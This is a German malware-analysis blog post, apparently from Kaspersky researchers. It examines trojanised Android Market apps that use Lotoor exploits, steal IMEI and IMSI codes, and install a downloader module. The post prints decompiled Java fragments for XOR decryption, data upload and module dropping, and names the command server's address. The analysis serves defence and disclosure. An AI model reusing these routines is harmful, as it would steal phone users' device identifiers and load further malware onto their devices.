Malware im Android Market, Teil 2

Gestern schrieb mein Kollege Tim Armstrong einen Artikel über den Malware-Ausbruch im Android Market. Kurz gesagt, wurde eine Reihe legaler Apps trojanisiert und im Android Market hochgeladen. Heute möchte ich eine von diesen Apps näher betrachten.

Wie früher bereits schon angesprochen, nutzten alle bisher beobachteten Schädlinge dieselben Exploits, die von Kaspersky als Exploit.AndroidOS.Lotoor.g und Exploit.AndroidOS.Lotoor.j detektiert worden sind. Bei beiden handelt es sich um wohlbekannte Samples, die auf allen Versionen des Android-Betriebssystems früher als 2.3 laufen. Alle Nutzer, die Gingerbread (Android 2.3) installiert haben, dürften demnach vor diesen Exploits geschützt sein.

Was genau stehlen diese Trojaner? Anscheinend war der Angreifer vor allem an IMSI- und IMEI-Codes interessiert. Nebenbei beschaffen sie zudem Informationen über das Betriebssystem und den Gerätetyp.

Der Diebstahl läuft nach folgendem Schema ab: In dem Code befindet sich ein verschlüsselter Datensatz mit einer Größe von exakt 45 Bytes. Die Verschlüsselung dieses Satzes erfolgt mittels eines einfachen XOR-Algorithmus’ mit einem speziellen Schlüssel, der in einem weiteren Datensatz mit der Bezeichnung „KEYVALUE“ gespeichert ist. Neugierig geworden? Die Subroutine stellt sich folgendermaßen dar:

public static void crypt(byte abyte0[ ])
====={
=====int i = 0;
=====int j = 0;
=====do
=========={
==========int k = abyte0.length;
==========if(j >= k)
===============return;
==========byte byte0 = abyte0[j];
==========byte byte1 = KEYVALUE[i];
==========byte byte2 = (byte)(byte0 ^ byte1);
==========abyte0[j] = byte2;
==========i++;
==========int l = keylen;
==========if(i == l)
===============i = 0;
===============j++;
==========}
=====while(true);
=====}

Einmal entschlüsselt, verweist der Datensatz auf „hxxp://184.105.245.17:8080/GMServer/GMServlet, der von einer ISP namens Hurricane Electric (http://.he.net) in Fremont, Kalifornien, gehostet wird. Wir sind bereits mit Hurricane Electric wegen dieses Hosts in Kontakt getreten, und man war dort bereit, den Host zu entfernen. Zum Zeitpunkt dieses Artikels steht der Server schon nicht mehr zur Verfügung.

Wie bereits erwähnt, scheinen diese Trojaner auf das Abfischen von IMEI- und IMSI-Codes sowie von bestimmten Gerätedaten ausgelegt zu sein. Die gestohlenen Daten werden über eine POST-Methode durch das HTTP-Protokoll an den Server der Cyberkriminellen übermittelt. Die hochgeladenen Datensätze sind im XML-Format codiert und lauten wie folgt:

Allgemeines Format des XML-Templates

Daten übertragen durch Backdoor.AndroidOS.Rooter.a

Daten übertragen durch Backdoor.AndroidOS.Rooter.b

Von Backdoor.AndroidOS.Rooter verwendete POST-Methode

Das Kommandofeld, das im oben dargestellten Satz auf „0“ gestellt ist, signalisiert das Hochladen der gestohlenen IMEI- und IMSI-Codes zusammen mit den Gerätedaten. Dabei lässt sich feststellen, dass sich die Daten in Tag in zwei verschiedenen schädlichen APK-Dateien unterscheiden – die Produkt-ID hat die Werte 10023 und 10039. Offenbar wollte der Angreifer die Erfolgsquote der einzelnen Trojaner, die in den Market eingeschleust worden sind, protokollieren. Auffällig ist weiterhin, dass die Daten in Tag (‚502’) in beiden Samples dieselben sind. Dieser Tag gab uns zu denken: Könnte es sich bei diesem ‚502’ um eine Art Affiliate-oder Partner-ID handeln? Falls dies zutrifft, muss man sich fragen, wie viele Affiliate-IDs da draußen herumschwirrten (oder noch schwirren).

Um zu vermeiden, dass immer wieder dieselben Daten gepostet werden, setzen diese Trojaner nach einem erfolgreichen Upload ein Präferenzparameter:

public void run()
====={
if(Setting.access$1(Setting.this).getSharedPreferences(„pref_config_setting“,0).getInt(„done“,0)== 0)
=========={
==========byte abyte0[] = val$c;
==========String s = new String(abyte0);
==========Context context = Setting.access$1(Setting.this);
==========Setting.postUrl(s, context);
==========}

Neben der Weitergabe von gestohlenen IMEI und IMSI installiert der Trojaner ein weiteres Modul, indem er eine interne Ressourcendatei mit der Bezeichnung sqlite.db in DownloadProvidersManager.apk kopiert:

private void destroy(boolean flag)
{
=====boolean flag1;
=====if(flag && !isPackageInstalled(ctx, „com.android.providers.downloadsmanager“))
==========flag1 = cpFile(ctx, „sqlite.db“, „DownloadProvidersManager.apk“);
=====stopSelf();
}

Was bezweckt der Angreifer nun mit diesem zweiten Modul? Es stellt wiederum eine Verbindung mit demselben Server, auf den es die gestohlenen IMEI- und IMSI-Codes hochgeladen hat, her, allerdings mit einem unterschiedlichen Request-Block (Command „2“). Diesmal liest es eine Rückantwort des Servers aus, welche scheinbar eine Liste mit Applikationen zum Downloaden und Installieren auf dem bereits infizierten Gerät enthält. Im Wesentlichen handelt es sich also um ein Downloadmodul für Trojaner.

Ein interessanter Punkt ist die äußerst modulare Architektur des Trojaners, die auf einige wichtige Befunde hinweist. Zunächst einmal wurde der Aufbau so konzipiert, dass sich der Schädling leicht in populäre Anwendungen einschleusen lässt und mit irreführenden Namen im Market hochgeladen werden kann. Zweitens verfügt er über eine klassische Command-and Control-Architektur, bei der eine erste „I’m here“-Anfrage mit Basisinformationen gesendet wird und dann ein komplexerer Donwloader zur weiteren Infizierung des Gerätes installiert wird. Mit dieser Vorgehensweise ähnelt er stark zahlreichen Windows-Trojanern. Und schließlich gibt die Fähigkeit, andere Applikationen auf dem Gerät zu installieren, Aufschluss über die Art und Weise, mit der der Malware-Autor aus den Infektionen Profit zu schlagen gedachte – nämlich durch die Installation von Adware oder Apps für Werbezwecke auf dem Gerät.

Wir werden die Situation weiterhin im Auge behalten und Sie über mögliche neue Entwicklungen auf dem Laufenden halten.

Costin Raiu
Denis Maslennikov

Ähnliche Beiträge

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.